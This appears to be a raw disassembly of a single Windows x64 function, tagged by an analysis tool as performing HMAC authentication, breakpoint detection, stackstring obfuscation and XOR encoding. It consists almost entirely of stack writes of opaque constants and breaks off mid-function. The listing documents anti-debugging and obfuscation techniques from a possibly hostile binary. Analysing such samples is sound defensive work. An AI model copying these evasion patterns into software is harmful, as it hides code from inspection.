Function at 0x140001000
Capabilities:
Authenticate hmac
Check for software breakpoints
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x2bcb8
call fcn.1401c3de0
sub rsp, rax
mov eax, 0x647b
mov word [rsp + 0xaa8], ax
mov dword [rsp + 0x3404], 0x42d837e7
mov eax, 0x5c8
mov word [rsp + 0xaac], ax
mov dword [rsp + 0x3408], 0xd52cd33d
mov eax, 0x710a
mov word [rsp + 0xab0], ax
movabs rax, 0x7185148764dc8bc8
mov qword [rsp + 0x5fb8], rax
movabs rax, 0x6281dbf214325b98
mov qword [rsp + 0x5fc0], rax
mov eax, 0xfc4
mov word [rsp + 0xab4], ax
mov byte [rsp + 0x40], 0x2b
mov eax, 0x3a00
mov word [rsp + 0xab8], ax
mov dword [rsp + 0x340c], 0x46d27287
mov byte [rsp + 0x41], 0x25
mov eax, 0x7b20
mov word [rsp + 0xabc], ax
movabs rax, 0xf449c4e646c2d91e
mov qword [rsp + 0x5fc8], rax
mov dword [rsp + 0x3410], 0xac962f85
movabs rax, 0x5c99483fe2a7a94c
mov qword [rsp + 0x5fd0], rax
movabs rax, 0x5bdcda817b4984fd
mov qword [rsp + 0x5fd8], rax
mov byte [rsp + 0x42], 0x56
mov dword [rsp + 0x3414], 0xde8b8fa4
mov dword [rsp + 0x3418], 0x2351b266
mov byte [rsp + 0x43], 0x56
mov eax, 0x69f
mov word [rsp + 0xac0], ax
mov dword [rsp + 0x341c], 0xd85798b5
mov byte [rsp + 0x44], 0x7a
mov eax, 0x214
mov word [rsp + 0xac4], ax
mov dword [rsp + 0x3420], 0x50e910c5
movabs rax, 0xfc6a0dfe73a6c392
mov qword [rsp + 0x5fe0], rax
mov dword [rsp + 0x3424], 0x12c5da73
movabs rax, 0x5e7d6f8e2f425eff
mov qword [rsp + 0x5fe8], rax
mov eax, 0xd8e
mov word [rsp + 0xac8], ax
mov byte [rsp + 0x45], 0xc4
mov eax, 0x1433
mov word [rsp + 0xacc], ax
movabs rax, 0x4c77f1796e87d48
mov qword [rsp + 0x5ff0], rax
movabs rax, 0x2aabe31c43b034e3
mov qword [rsp + 0x5ff8], rax
mov eax, 0x4e00
mov word [rsp + 0xad0], ax
movabs rax, 0x26df60fa0b58ee43
mov qword [rsp + 0x6000], rax
mov eax, 0x6ca1
mov word [rsp + 0xad4], ax
mov dword [rsp + 0x3428], 0x2d4a25ec
mov eax, 0x334b
mov word [rsp + 0xad8], ax
mov byte [rsp + 0x46], 0x57
mov eax, 0x5f5b
mov word [rsp + 0xadc], ax
mov eax, 0xdf8
mov word [rsp + 0xae0], ax
mov eax, 0x5e5
mov word [rsp + 0xae4], ax
mov eax, 0x5a21
mov word [rsp + 0xae8], ax
mov eax, 0x81e
mov word [rsp + 0xaec], ax
mov byte [rsp + 0x47], 0x69
mov dword [rsp + 0x342c], 0x5604cb9d
movabs rax, 0xe740a2a5bb2ee885
mov qword [rsp + 0x6008], rax
mov dword [rsp + 0x3430], 0x2dce24a1
mov byte [rsp + 0x48], 0x7d
mov dword [rsp + 0x3434], 0x1fc54426
mov dword [rsp + 0x3438], 0x239a2547
mov dword [rsp + 0x343c], 0xc1f08781
mov dword [rsp + 0x3440], 0x4a3a5891
mov byte [rsp + 0x49], 0xb6
mov eax, 0x647
mov word [rsp + 0xaf0], ax
mov byte [rsp + 0x4a], 0x73
mov byte [rsp + 0x4b], 0x25
mov byte [rsp + 0x4c], 0x4b
movabs rax, 0xbee8e65b976ea1e
mov qword [rsp + 0x6010], rax
movabs rax, 0x69dc5acdfbb204b8
mov qword [rsp + 0x6018], rax
mov dword [rsp + 0x3444], 0xdb8da652
mov byte [rsp + 0x4d], 0x4b
mov byte [rsp + 0x4e], 0x42
mov byte [rsp + 0x4f], LBItemFromPt
mov eax, 0xf9a
mov word [rsp + 0xaf4], ax
movabs rax, 0x19cee3dda6cd8b5b
mov qword [rsp + 0x6020], rax
mov dword [rsp + 0x3448], 0x1450ec63
mov eax, 0x2aa
mov word [rsp + 0xaf8], ax
mov eax, 0x2dc4
mov word [rsp + 0xafc], ax
mov eax, 0x68d
mov word [rsp + 0xb00], ax
mov eax, 0x9ac
mov word [rsp + 0xb04], ax
mov dword [rsp + 0x344c], 0x2450cba2
mov eax, 0x61f2
mov word [rsp + 0xb08], ax
movabs rax, 0x147c661a110d8120
mov qword [rsp + 0x6028], rax
movabs rax, 0x3e47fa63dbc3fb4e
mov qword [rsp + 0x6030], rax
movabs rax, 0x4a1a5eb448f085d
mov qword [rsp + 0x6038], rax
mov dword [rsp + 0x3450], 0x5cb68ca7
mov dword [rsp + 0x3454], 0x2907f16f
mov byte [rsp + 0x50], 0x66
movabs rax, 0x85a47c934da894ec
mov qword [rsp + 0x6040], rax
mov eax, 0x7119
mov word [rsp + 0xb0c], ax
movabs rax, 0x7d5eeb4ca6acec46
mov qword [rsp + 0x6048], rax
mov dword [rsp + 0x3458], 0x50b18a08
mov byte [rsp + 0x51], 6
mov eax, 0xc4c
mov word [rsp + 0xb10], ax
mov dword [rsp + 0x345c], 0x58177eb3
mov byte [rsp + 0x52], 0x75
mov dword [rsp + 0x3460], 0x44947d8d
mov dword [rsp + 0x3464], 0x87b42b56
mov byte [rsp + 0x53], 0x69
mov eax, 0xcb1
mov word [rsp + 0xb14], ax
mov byte [rsp + 0x54], 0x3e
mov dword [rsp + 0x3468], 0x557029a7
mov eax, 0x6a85
mov word [rsp + 0xb18], ax
mov eax, 0x6f8
mov word [rsp + 0xb1c], ax
mov dword [rsp + 0x346c], 0x87ec559e
movabs rax, 0x5a88569e885a6c99
mov qword [rsp + 0x6050], rax
mov byte [rsp + 0x55], 0x14
mov eax, 0x962
mov word [rsp + 0xb20], ax
mov byte [rsp + 0x56], 4
movabs rax, 0xf70942763d36989e
mov qword [rsp + 0x6058], rax
movabs rax, 0x8c47af424f6aea1e
mov qword [rsp + 0x6060], rax
movabs rax, 0x352af8adc2b94dc9
mov qword [rsp + 0x6068], rax
mov byte [rsp + 0x57], 0xee
mov dword [rsp + 0x3470], 0x44becd71
movabs rax, 0x42708f22fbf1cf06
mov qword [rsp + 0x6070], rax
mov byte [rsp + 0x58], LBItemFromPt
mov byte [rsp + 0x59], 0x16
movabs rax, 0x6223edb3e75b0590
mov qword [rsp + 0x6078], rax
mov byte [rsp + 0x5a], 0x25
movabs rax, 0x5712b4676c33b46b
mov qword [rsp + 0x6080], rax
mov eax, 0x76f1
mov word [rsp + 0xb24], ax
movabs rax, 0xdcf28f711db3bbed
mov qword [rsp + 0x6088], rax
mov byte [rsp + 0x5b], 0x41
movabs rax, 0x3c220592c5471a5d
mov qword [rsp + 0x6090], rax
mov dword [rsp + 0x3474], 0x14608455
mov eax, 0x2196
mov word [rsp + 0xb28], ax
mov eax, 0x289
mov word [rsp + 0xb2c], ax
mov byte [rsp + 0x5c], 0xd5
movabs rax, 0xb8c5280eb96275f4
mov qword [rsp + 0x6098], rax
mov eax, 0x1ff2
mov word [rsp + 0xb30], ax
mov dword [rsp + 0x3478], 0xd0b961e3
mov eax, 0xb9a
mov word [rsp + 0xb34], ax
mov eax, 0xf54
mov word [rsp + 0xb38], ax
movabs rax, 0xcfadd260bf6b6ce4
mov qword [rsp + 0x60a0], rax
mov byte [rsp + 0x5d], 0x7e
mov byte [rsp + 0x5e], 0x2b
mov byte [rsp + 0x5f], 0xf0
movabs rax, 0x41fdf7e186efe630
mov qword [rsp + 0x60a8], rax
mov byte [rsp + 0x60], 0x17
mov byte [rsp + 0x61], 0x69
mov eax, 0xb8a
mov word [rsp + 0xb3c], ax
mov dword [rsp + 0x347c], 0xa0ec8d86
mov byte [rsp + 0x62], 0x46
movabs rax, 0x2012415d3a324e40
mov qword [rsp + 0x60b0], rax
movabs rax, 0x69973ba6aa668607
mov qword [rsp + 0x60b8], rax
mov eax, 0x59c
mov word [rsp + 0xb40], ax
mov byte [rsp + 0x63], 0x66
mov eax, 0xbb
mov word [rsp + 0xb44], ax
mov byte [rsp + 0x64], 0x7d
movabs rax, 0x39508e5a0ebd42ba
mov qword [rsp + 0x60c0], rax
mov dword [rsp + 0x3480], 0x40a2f1bd
mov byte [rsp + 0x65], 0x23
movabs rax, 0xdd7a91d2680a8aa6
mov qword [rsp + 0x60c8], rax
movabs rax, 0xd114d7395f91ecb9
mov qword [rsp + 0x60d0], rax
mov eax, 0x217
mov word [rsp + 0xb48], ax
mov byte [rsp + 0x66], 0x12
movabs rax, 0x49771fab17caf0bd
mov qword [rsp + 0x60d8], rax
movabs rax, 0xa0c94ba1445cde73
mov qword [rsp + 0x60e0], rax
movabs rax, 0x4ad60beff5998697
mov qword [rsp + 0x60e8], rax
mov dword [rsp + 0x3484], 0x60e2a871
movabs rax, 0x70736c6816d1a63d
mov qword [rsp + 0x60f0], rax
mov eax, 0x4693
mov word [rsp + 0xb4c], ax
mov eax, 0x5022
mov word [rsp + 0xb50], ax
movabs rax, 0x65a5e00bd31f52ac
mov qword [rsp + 0x60f8], rax
mov byte [rsp + 0x67], 0x24
mov dword [rsp + 0x3488], 0x554a6e53
mov eax, 0x41d
mov word [rsp + 0xb54], ax
movabs rax, 0xae9473d9bbc61734
mov qword [rsp + 0x6100], rax
mov eax, 0x280a
mov word [rsp + 0xb58], ax
mov eax, 0xcee
mov word [rsp + 0xb5c], ax
mov dword [rsp + 0x348c], 0x47b3af17
mov byte [rsp + 0x68], 0x6d
mov byte [rsp + 0x69], 0x3d
movabs rax, 0x82d9501cc23c5757
mov qword [rsp + 0x6108], rax
movabs rax, 0x2e9bffef93721b1
mov qword [rsp + 0x6110], rax
mov byte [rsp + 0x6a], 2
mov eax, 0x6aa1
mov word [rsp + 0xb60], ax
mov eax, 0x1170
mov word [rsp + 0xb64], ax
movabs rax, 0x628e3305d22a14e3
mov qword [rsp + 0x6118], rax
mov byte [rsp + 0x6b], 0x68
mov byte [rsp + 0x6c], 0x1f
mov byte [rsp + 0x6d], 0x19
movabs rax, 0xe99721d860b303e8
mov qword [rsp + 0x6120], rax
mov byte [rsp + 0x6e], 0x12
movabs rax, 0xb9f2417fd459e813
mov qword [rsp + 0x6128], rax
mov dword [rsp + 0x3490], 0x8eb6d3f
movabs rax, 0x50168b769ea26e42
mov qword [rsp + 0x6130], rax
mov byte [rsp + 0x6f], 0xc2
mov eax, 0x710
mov word [rsp + 0xb68], ax
mov eax, 0x40af
mov word [rsp + 0xb6c], ax
mov eax, 0x6b0b
mov word [rsp + 0xb70], ax
mov byte [rsp + 0x70], 0x17
movabs rax, 0xb9f25da280591024
mov qword [rsp + 0x6138], rax
movabs rax, 0xb1e5debe5db5f6c6
mov qword [rsp + 0x6140], rax
movabs rax, 0x20fcd69442c5069d
mov qword [rsp + 0x6148], rax
mov dword [rsp + 0x3494], 0xc1d62f95
mov eax, 0x884
mov word [rsp + 0xb74], ax
mov byte [rsp + 0x71], 0x30
mov dword [rsp + 0x3498], 0x5dcf197f
mov byte [rsp + 0x72], 0xe0
mov byte [rsp + 0x73], 0x61
mov eax, 0x611d
mov word [rsp + 0xb78], ax
movabs rax, 0x8e115aaac70db791
mov qword [rsp + 0x6150], rax
mov eax, 0x7f84
mov word [rsp + 0xb7c], ax
mov eax, 0xc0
mov word [rsp + 0xb80], ax
mov eax, 0x56f9
mov word [rsp + 0xb84], ax
mov dword [rsp + 0x349c], 0xd0e1dbd8
mov byte [rsp + 0x74], 0x6d
mov eax, 0x861
mov word [rsp + 0xb88], ax
mov dword [rsp + 0x34a0], 0xcbfc1ec6
mov dword [rsp + 0x34a4], 0x476656
mov byte [rsp + 0x75], 0x35
mov dword [rsp + 0x34a8], 0xfd57d334
mov eax, 0x42f
mov word [rsp + 0xb8c], ax
mov eax, 0x453f
mov word [rsp + 0xb90], ax
movabs rax, 0x789625576aa8253a
mov qword [rsp + 0x6158], rax
mov byte [rsp + 0x76], 0x85
movabs rax, 0x64f61999a33ae9f
mov qword [rsp + 0x6160], rax
mov eax, 0x54c5
mov word [rsp + 0xb94], ax
mov eax, 0xfe3
mov word [rsp + 0xb98], ax
mov dword [rsp + 0x34ac], 0x206a3b18
mov byte [rsp + 0x77], 0xa8
mov byte [rsp + 0x78], 0xa1
mov byte [rsp + 0x79], 0x69
movabs rax, 0xceaa508b263ad632
mov qword [rsp + 0x6168], rax
mov byte [rsp + 0x7a], 0x93
mov byte [rsp + 0x7b], 0x5e
mov byte [rsp + 0x7c], 0x69
mov byte [rsp + 0x7d], 4
mov eax, 0xf1c
mov word [rsp + 0xb9c], ax
mov eax, 0xdb9
mov word [rsp + 0xba0], ax
mov eax, 0xd63
mov word [rsp + 0xba4], ax
movabs rax, 0x98fac4eddf6af6d3
mov qword [rsp + 0x6170], rax
mov byte [rsp + 0x7e], 7
mov byte [rsp + 0x7f], 0x4f
mov eax, 0x605c
mov word [rsp + 0xba8], ax
movabs rax, 0xb98104e6e910b13b
mov qword [rsp + 0x6178], rax
mov byte [rsp + 0x80], 0x40
mov byte [rsp + 0x81], 0x2c
mov eax, 0x1eb6
mov word [rsp + 0xbac], ax
movabs rax, 0x6eb33a7861557753
mov qword [rsp + 0x6180], rax
mov eax, 0xac0
mov word [rsp + 0xbb0], ax
mov byte [rsp + 0x82], 0xf0
mov dword [rsp + 0x34b0], 0x366ddbe2
mov byte [rsp + 0x83], 0x78
movabs rax, 0x5118831278a681dc
mov qword [rsp + 0x6188], rax
mov byte [rsp + 0x84], 0x5d
mov dword [rsp + 0x34b4], 0x657af187
mov dword [rsp + 0x34b8], 0x4ae81907
mov byte [rsp + 0x85], 0x54
mov eax, 0x1f58
mov word [rsp + 0xbb4], ax
mov dword [rsp + 0x34bc], 0x37d4401b
movabs rax, 0x7ce9ef98ccd066b6
mov qword [rsp + 0x6190], rax
mov dword [rsp + 0x34c0], 0x8b5dd4a0
mov dword [rsp + 0x34c4], 0x197951bf
mov dword [rsp + 0x34c8], 0x5b25c252
movabs rax, 0x63f653a62ab859f2
mov qword [rsp + 0x6198], rax
mov eax, 0xb2d
mov word [rsp + 0xbb8], ax
mov eax, 0x5e6
mov word [rsp + 0xbbc], ax
mov eax, 0x6d4
mov word [rsp + 0xbc0], ax
mov byte [rsp + 0x86], 0x52
mov eax, 0x1045
mov word [rsp + 0xbc4], ax
mov eax, 0x338
mov word [rsp + 0xbc8], ax
mov dword [rsp + 0x34cc], 0x14181652
mov byte [rsp + 0x87], 0x53
mov byte [rsp + 0x88], 0x33
mov dword [rsp + 0x34d0], 0xb3b6960e
mov eax, 0x7a3d
mov word [rsp + 0xbcc], ax
mov eax, 0x6a74
mov word [rsp + 0xbd0], ax
movabs rax, 0x1dafffbe68979499
mov qword [rsp + 0x61a0], rax
mov byte [rsp + 0x89], 0xf4
mov byte [rsp + 0x8a], 0x5e
mov dword [rsp + 0x34d4], 0x5c707aa5
mov dword [rsp + 0x34d8], 0x28f5f736
mov eax, 0xfc5
mov word [rsp + 0xbd4], ax
mov byte [rsp + 0x8b], 0x10
mov eax, 0x2367
mov word [rsp + 0xbd8], ax
mov dword [rsp + 0x34dc], 0x6921e137
movabs rax, 0xf544f798c3a232d5
mov qword [rsp + 0x61a8], rax
movabs rax, 0x53df6ff5162663cd
mov qword [rsp + 0x61b0], rax
mov dword [rsp + 0x34e0], 0x14837109
mov eax, 0xa86
mov word [rsp + 0xbdc], ax
mov eax, 0x55d9
mov word [rsp + 0xbe0], ax
mov eax, 0xae
mov word [rsp + 0xbe4], ax
movabs rax, 0x6852904b9e945294
mov qword [rsp + 0x61b8], rax
mov byte [rsp + 0x8c], 0x6a
movabs rax, 0x5d3662ed1ff279f2
mov qword [rsp + 0x61c0], rax
mov byte [rsp + 0x8d], 0xda
movabs rax, 0x35e2a3982f2ff815
mov qword [rsp + 0x61c8], rax
movabs rax, 0xadcf708a6ae5e49
mov qword [rsp + 0x61d0], rax
movabs rax, 0xc3d2910184e97e6f
mov qword [rsp + 0x61d8], rax
mov byte [rsp + 0x8e], 0x20
mov byte [rsp + 0x8f], 0x6f
mov byte [rsp + 0x90], 0x36
mov eax, 0xe8f
mov word [rsp + 0xbe8], ax
mov byte [rsp + 0x91], 0x2a
movabs rax, 0xf5ce588c5a1966c7
mov qword [rsp + 0x61e0], rax
mov byte [rsp + 0x92], 0x7e
movabs rax, 0x4ab49417388b8c6e
mov qword [rsp + 0x61e8], rax
mov eax, 0x2caa
mov word [rsp + 0xbec], ax
mov dword [rsp + 0x34e4], 0x845e3620
mov dword [rsp + 0x34e8], 0x35f1e951
mov byte [rsp + 0x93], 0x53
mov eax, 0xa30
mov word [rsp + 0xbf0], ax
mov dword [rsp + 0x34ec], 0x3a6c0c42
movabs rax, 0x4551a7c736ed89c5
mov qword [rsp + 0x61f0], rax
mov eax, 0x639b
mov word [rsp + 0xbf4], ax
mov byte [rsp + 0x94], 0xf6
mov eax, 0x1f5
mov word [rsp + 0xbf8], ax
mov dword [rsp + 0x34f0], 0x27d3346f
movabs rax, 0x26fe3ea6aea81a79
mov qword [rsp + 0x61f8], rax
mov eax, 0x59ec
mov word [rsp + 0xbfc], ax
mov eax, 0xee
mov word [rsp + 0xc00], ax
mov byte [rsp + 0x95], 0x4b
movabs rax, 0x20f105972055ccb3
mov qword [rsp + 0x6200], rax
mov eax, 0x3ca8
mov word [rsp + 0xc04], ax
mov byte [rsp + 0x96], 0xdd
movabs rax, 0xb33cfc8c496bf0f
mov qword [rsp + 0x6208], rax
movabs rax, 0x70ea705a8cc49132
mov qword [rsp + 0x6210], rax
mov dword [rsp + 0x34f4], 0x1e97b43a
mov eax, 0xccd
mov word [rsp + 0xc08], ax
movabs rax, 0x2e1d60c5d7a94379
mov qword [rsp + 0x6218], rax
movabs rax, 0x6521bb7b016f76e3
mov qword [rsp + 0x6220], rax
mov byte [rsp + 0x97], 0x5b
mov dword [rsp + 0x34f8], 0x7c257d76
mov dword [rsp + 0x34fc], 0x2427a4e2
mov byte [rsp + 0x98], 0x57
mov dword [rsp + 0x3500], 0x97a3d095
mov dword [rsp + 0x3504], 0x6aaa9775
mov byte [rsp + 0x99], 0x7b
mov dword [rsp + 0x3508], 0x6461b99a
mov eax, 0x31b8
mov word [rsp + 0xc0c], ax
mov eax, 0x80d
mov word [rsp + 0xc10], ax
mov byte [rsp + 0x9a], 0xc2
mov byte [rsp + 0x9b], 0x59
mov eax, 0x5922
mov word [rsp + 0xc14], ax
mov dword [rsp + 0x350c], 0x1b0a8311
mov byte [rsp + 0x9c], 6
mov dword [rsp + 0x3510], 0x58cf2ef5
movabs rax, 0xeed8a1c58ab5a68d
mov qword [rsp + 0x6228], rax
movabs rax, 0x46c1d995dfd9c344
mov qword [rsp + 0x6230], rax
mov byte [rsp + 0x9d], 0x65
mov byte [rsp + 0x9e], 0xf7
mov eax, 0x98c
mov word [rsp + 0xc18], ax
mov eax, 0x1cc1
mov word [rsp + 0xc1c], ax
mov dword [rsp + 0x3514], 0xaac73c58
movabs rax, 0xf93ba804d79837cd
mov qword [rsp + 0x6238], rax
movabs rax, 0x5b2f82abbc66ba06
mov qword [rsp + 0x6240], rax
mov byte [rsp + 0x9f], 0x13
mov eax, 0xc19
mov word [rsp + 0xc20], ax
mov byte [rsp + 0xa0], 8
mov byte [rsp + 0xa1], 0x5b
movabs rax, 0xde64ab1b90aa6d01
mov qword [rsp + 0x6248], rax
mov eax, 0xf23
mov word [rsp + 0xc24], ax
mov dword [rsp + 0x3518], 0x19cbe890
mov byte [rsp + 0xa2], 0xac
mov eax, 0xe81
mov word [rsp + 0xc28], ax
mov dword [rsp + 0x351c], 0x5011168
movabs rax, 0xb759e6014c076195
mov qword [rsp + 0x6250], rax
mov byte [rsp + 0xa3], 0x1a
mov dword [rsp + 0x3520], 0x5d998d87
movabs rax, 0x15ec9a8ce43c1355
mov qword [rsp + 0x6258], rax
mov dword [rsp + 0x3524], 0x58db2b57
mov eax, 0x771d
mov word [rsp + 0xc2c], ax
mov byte [rsp + 0xa4], 0
mov dword [rsp + 0x3528], 0xc49e85b3
movabs rax, 0xb6ece4d5461a274e
mov qword [rsp + 0x6260], rax
movabs rax, 0x21eeacfb211cd6a5
mov qword [rsp + 0x6268], rax
mov eax, 0x24d5
mov word [rsp + 0xc30], ax
mov dword [rsp + 0x352c], 0x2ee4d2ec
mov eax, 0xe5e
mov word [rsp + 0xc34], ax
movabs rax, 0x53bd0f3ea7d761e0
mov qword [rsp + 0x6270], rax
mov byte [rsp + 0xa5], 0xc0
movabs rax, 0x4fcf07824c0e976f
mov qword [rsp + 0x6278], rax
mov dword [rsp + 0x3530], 0xaad88575
mov eax, 0xc55
mov word [rsp + 0xc38], ax
mov byte [rsp + 0xa6], 0x72
mov eax, 0x258
mov word [rsp + 0xc3c], ax
movabs rax, 0x929f62983d860462
mov qword [rsp + 0x6280], rax
mov dword [rsp + 0x3534], 0x36f013c2
mov dword [rsp + 0x3538], 0x16d98847
movabs rax, 0x3e444eb052a9c3e2
mov qword [rsp + 0x6288], rax
mov byte [rsp + 0xa7], 0x3e
mov eax, 0x354e
mov word [rsp + 0xc40], ax
mov dword [rsp + 0x353c], 0xc3cc8543
mov eax, 0x52f
mov word [rsp + 0xc44], ax
mov eax, 0xc03
mov word [rsp + 0xc48], ax
movabs rax, 0xf414c374a6b1c9e
mov qword [rsp + 0x6290], rax
mov eax, 0x309
mov word [rsp + 0xc4c], ax
mov byte [rsp + 0xa8], 0x18
movabs rax, 0x75cf9e470ccc47ef
mov qword [rsp + 0x6298], rax
movabs rax, 0x70168f5a7088261c
mov qword [rsp + 0x62a0], rax
movabs rax, 0xe1814f388ed63b23
mov qword [rsp + 0x62a8], rax
mov byte [rsp + 0xa9], 0x1f
mov eax, 0xa53
mov word [rsp + 0xc50], ax
mov dword [rsp + 0x3540], 0xbd4bf4e8
mov eax, 0xd75
mov word [rsp + 0xc54], ax
movabs rax, 0x9208cc1b341bbe60
mov qword [rsp + 0x62b0], rax
movabs rax, 0x66aff3ee3350be0d
mov qword [rsp + 0x62b8], rax
mov byte [rsp + 0xaa], 0x2f
mov eax, 0x95f
mov word [rsp + 0xc58], ax
mov dword [rsp + 0x3544], 0xc6b4e83e
mov byte [rsp + 0xab], 7
mov byte [rsp + 0xac], 0x44
mov eax, 0xa1e
mov word [rsp + 0xc5c], ax
mov eax, 0x47d
mov word [rsp + 0xc60], ax
mov dword [rsp + 0x3548], 0x7c6814de
mov byte [rsp + 0xad], 0x2f
mov byte [rsp + 0xae], 0x79
mov eax, 0x391a
mov word [rsp + 0xc64], ax
movabs rax, 0xc6cc3787768bf39c
mov qword [rsp + 0x62c0], rax
mov dword [rsp + 0x354c], 0xfc91d2dd
mov eax, 0x78c
mov word [rsp + 0xc68], ax
mov byte [rsp + 0xaf], 0x6f
mov byte [rsp + 0xb0], 0x62
movabs rax, 0x139418f740f00506
mov qword [rsp + 0x62c8], rax
mov dword [rsp + 0x3550], 0x6338164a
mov byte [rsp + 0xb1], 0x5a
mov byte [rsp + 0xb2], 0x3d
movabs rax, 0x3a6ca3ef810f3c72
mov qword [rsp + 0x62d0], rax
movabs rax, 0x102f322c091ecb01
mov qword [rsp + 0x62d8], rax
movabs rax, 0x6e0972a111a8f91b
mov qword [rsp + 0x62e0], rax
mov byte [rsp + 0xb3], 0x3d
mov dword [rsp + 0x3554], 0xfa0109e4
mov eax, 0x5ff
mov word [rsp + 0xc6c], ax
mov byte [rsp + 0xb4], 0x11
mov byte [rsp + 0xb5], 0x4e
mov byte [rsp + 0xb6], 0x6d
mov byte [rsp + LBItemFromPt7], 0xb
mov eax, 0xe56
mov word [rsp + 0xc70], ax
movabs rax, 0xf224d492f9ca2dd1
mov qword [rsp + 0x62e8], rax
movabs rax, 0x18b0f7fb4954f27c
mov qword [rsp + 0x62f0], rax
movabs rax, 0x1fbd61b9faed0199
mov qword [rsp + 0x62f8], rax
movabs rax, 0x4b59e4943552cae3
mov qword [rsp + 0x6300], rax
mov eax, 0xf40
mov word [rsp + 0xc74], ax
mov byte [rsp + 0xb8], 0x96
mov dword [rsp + 0x3558], 0xc4e2e80
movabs rax, 0x7da8e3a25cb04070
mov qword [rsp + 0x6308], rax
mov dword [rsp + 0x355c], 0x7644d5ee
mov dword [rsp + 0x3560], 0x37865dc5
mov byte [rsp + 0xb9], 0x55
movabs rax, 0x9daf1f13fb06049
mov qword [rsp + 0x6310], rax
mov byte [rsp + 0xba], 0x96
mov eax, 0x1f32
mov word [rsp + 0xc78], ax
movabs rax, 0x6a8fa1775b55f162
mov qword [rsp + 0x6318], rax
mov dword [rsp + 0x3564], 0xa8b5925
mov byte [rsp + 0xbb], 0x8a
mov dword [rsp + 0x3568], 0x53a12e62
movabs rax, 0x4f71482b2cfdac9c
mov qword [rsp + 0x6320], rax
mov eax, 0x1dd3
mov word [rsp + 0xc7c], ax
mov dword [rsp + 0x356c], 0x791883af
mov eax, 0xe39
mov word [rsp + 0xc80], ax
mov byte [rsp + 0xbc], 0
mov dword [rsp + 0x3570], 0x125d48c2
mov byte [rsp + 0xbd], 0x4b
mov eax, 0x5e
mov word [rsp + 0xc84], ax
mov dword [rsp + 0x3574], 0x57cda675
movabs rax, 0x4890b182ceb3092c
mov qword [rsp + 0x6328], rax
mov dword [rsp + 0x3578], 0x72a3f4b1
mov dword [rsp + 0x357c], 0x8b1f6a2b
mov eax, 0x16d
mov word [rsp + 0xc88], ax
mov byte [rsp + 0xbe], 0x7f
mov byte [rsp + 0xbf], 9
mov byte [rsp + 0xc0], 0xd6
mov byte [rsp + 0xc1], 0x58
movabs rax, 0x5d579c2e1ed66f15
mov qword [rsp + 0x6330], rax
mov dword [rsp + 0x3580], 0x1e238454
mov byte [rsp + 0xc2], 0x1f
mov eax, 0x6314
mov word [rsp + 0xc8c], ax
mov dword [rsp + 0x3584], 0x3674d2ba
movabs rax, 0x563d5c94ede87d14
mov qword [rsp + 0x6338], rax
mov eax, 0x6204
mov word [rsp + 0xc90], ax
mov dword [rsp + 0x3588], 0x9d227189
movabs rax, 0xf1fe04ab59c484d9
mov qword [rsp + 0x6340], rax
mov eax, 0x1ac
mov word [rsp + 0xc94], ax
mov eax, 0xdc9
mov word [rsp + 0xc98], ax
mov dword [rsp + 0x358c], 0x6fb79918
mov byte [rsp + 0xc3], 0x42
mov byte [rsp + 0xc4], pe_nt_image_headers64
mov eax, 0x9dc
mov word [rsp + 0xc9c], ax
movabs rax, 0x5914796f177aa4cc
mov qword [rsp + 0x6348], rax
movabs rax, 0xad8f564e1addc742
mov qword [rsp + 0x6350], rax
mov eax, 0x463
mov word [rsp + 0xca0], ax
mov byte [rsp + 0xc5], 0xfa
mov eax, 0xd19
mov word [rsp + 0xca4], ax
mov eax, 0x2c6d
mov word [rsp + 0xca8], ax
mov eax, 0xfc2
mov word [rsp + 0xcac], ax
movabs rax, 0xc6f46e814f19d7ab
mov qword [rsp + 0x6358], rax
mov byte [rsp + 0xc6], 0x5a
movabs rax, 0x5cffc7feede5a15
mov qword [rsp + 0x6360], rax
mov eax, 0x79ed
mov word [rsp + 0xcb0], ax
mov byte [rsp + 0xc7], 0x64
movabs rax, 0xa3308900128f95c8
mov qword [rsp + 0x6368], rax
mov byte [rsp + 0xc8], 0xdf
mov dword [rsp + 0x3590], 0x597d2012
mov byte [rsp + 0xc9], 0x1c
mov byte [rsp + 0xca], 0x19
mov dword [rsp + 0x3594], 0x36c1f0f2
mov byte [rsp + 0xcb], 0x96
movabs rax, 0x707c4031a88a83b8
mov qword [rsp + 0x6370], rax
mov byte [rsp + 0xcc], 0x1d
mov dword [rsp + 0x3598], 0x2bc80fc5
movabs rax, 0x15993e5ca8fe2ae1
mov qword [rsp + 0x6378], rax
mov dword [rsp + 0x359c], 0xa1f785af
mov eax, 0x71e
mov word [rsp + 0xcb4], ax
mov dword [rsp + 0x35a0], 0x7aa25d16
mov byte [rsp + 0xcd], reloc.COMCTL32.dll_MakeDragList
mov byte [rsp + 0xce], 0x44
mov byte [rsp + 0xcf], 7
movabs rax, 0x5c199a925a42301a
mov qword [rsp + 0x6380], rax
mov eax, 0x873
mov word [rsp + 0xcb8], ax
movabs rax, 0xfd9346d8a9b5e692
mov qword [rsp + 0x6388], rax
mov dword [rsp + 0x35a4], 0x610007cf
mov byte [rsp + 0xd0], 0x5b
mov byte [rsp + 0xd1], 0x7e
mov eax, 0x55b2
mov word [rsp + 0xcbc], ax
mov byte [rsp + 0xd2], 2
mov byte [rsp + 0xd3], 0x17
movabs rax, 0xc0b5d40dce271364
mov qword [rsp + 0x6390], rax
mov eax, 0x113f
mov word [rsp + 0xcc0], ax
movabs rax, 0x2e057a2332f111c8
mov qword [rsp + 0x6398], rax
mov byte [rsp + 0xd4], 0x17
movabs rax, 0x54707e7df4dc9601
mov qword [rsp + 0x63a0], rax
movabs rax, 0x4ec4d1aeb2e402ee
mov qword [rsp + 0x63a8], rax
movabs rax, 0x819cc1c321ccdcec
mov qword [rsp + 0x63b0], rax
mov eax, 0x5b41
mov word [rsp + 0xcc4], ax
movabs rax, 0xeb7e2a0264162b7
mov qword [rsp + 0x63b8], rax
mov dword [rsp + 0x35a8], 0x2210a21
mov byte [rsp + 0xd5], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x35ac], 0x39050f2e
mov byte [rsp + 0xd6], 0x42
mov byte [rsp + 0xd7], 0x43
mov dword [rsp + 0x35b0], 0x42e7870
mov dword [rsp + 0x35b4], 0xd5793f5e
mov eax, 0x1c91
mov word [rsp + 0xcc8], ax
movabs rax, 0x59bd9db6aab9c6f8
mov qword [rsp + 0x63c0], rax
movabs rax, 0x6a4e4de8aefe2cc6
mov qword [rsp + 0x63c8], rax
mov eax, 0x3af2
